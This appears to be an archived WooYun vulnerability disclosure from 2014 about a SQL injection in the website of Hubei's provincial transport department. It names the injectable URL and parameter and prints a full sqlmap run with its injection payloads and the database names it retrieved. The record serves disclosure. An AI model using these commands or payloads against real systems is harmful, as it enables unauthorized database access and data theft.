当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-067497

漏洞标题:湖北省交通运输厅SQL注入

相关厂商:cncert国家互联网应急中心

漏洞作者: Hero

提交时间:2014-07-06 01:26

修复时间:2014-07-11 01:26

公开时间:2014-07-11 01:26

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-07-06: 细节已通知厂商并且等待厂商处理中
2014-07-11: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

湖北省交通运输厅网站存在SQL注入

详细说明:

网站:www.ggj.hbjt.gov.cn
注入点:http://www.ggj.hbjt.gov.cn/ggj/news/listSpecial.jsp?artColumn=030310

[root@Hacker~]# Sqlmap -u http://www.ggj.hbjt.gov.cn/ggj/news/listSpecial.jsp?ar
tColumn=030310 --dbs
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 10:45:32
[10:45:32] [INFO] resuming back-end DBMS 'mysql'
[10:45:32] [INFO] testing connection to the target url
[10:45:33] [INFO] heuristics detected web page charset 'ISO-8859-2'
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: artColumn
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: artColumn=030310' AND (SELECT 4090 FROM(SELECT COUNT(*),CONCAT(0x3a
6e786a3a,(SELECT (CASE WHEN (4090=4090) THEN 1 ELSE 0 END)),0x3a7671623a,FLOOR(R
AND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'BzOT'='BzO
T
Type: UNION query
Title: MySQL UNION query (NULL) - 1 column
Payload: artColumn=030310' LIMIT 1,1 UNION ALL SELECT CONCAT(0x3a6e786a3a,0x
545441565a7a46416e4e,0x3a7671623a)#
---
[10:45:34] [INFO] the back-end DBMS is MySQL
web application technology: JSP
back-end DBMS: MySQL 5.0
[10:45:34] [INFO] fetching database names
[10:45:35] [WARNING] reflective value(s) found and filtering out
[10:45:35] [WARNING] the SQL query provided does not return any output
[10:45:35] [INFO] the SQL query used returns 5 entries
[10:45:35] [INFO] retrieved: information_schema
[10:45:35] [INFO] retrieved: fwq
[10:45:35] [INFO] retrieved: ggj
[10:45:35] [INFO] retrieved: mysql
[10:45:35] [INFO] retrieved: test
available databases [5]:
[*] fwq
[*] ggj
[*] information_schema
[*] mysql
[*] test
[10:45:36] [WARNING] HTTP error codes detected during testing:
500 (Internal Server Error) - 6 times
[10:45:36] [WARNING] cannot properly display Unicode characters inside Windows O
S command prompt (http://bugs.python.org/issue1602). All unhandled occurances wi
ll result in replacement with '?' character. Please, find proper character repre
sentation inside corresponding output files.
[10:45:36] [INFO] fetched data logged to text files under 'E:\tools\????\SQLMAP~
3\Bin\output\www.ggj.hbjt.gov.cn'
[*] shutting down at 10:45:36

漏洞证明:

W3X55[EB[6Z1U]{8(TU[6HD.jpg

修复方案:

版权声明:转载请注明来源 Hero@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-07-11 01:26

厂商回复:

最新状态:

2014-07-11:补充处置情况:CNVD确认并复现所述情况,已经转由CNCERT下发给湖北分中心,由其后续协调网站管理单位处置。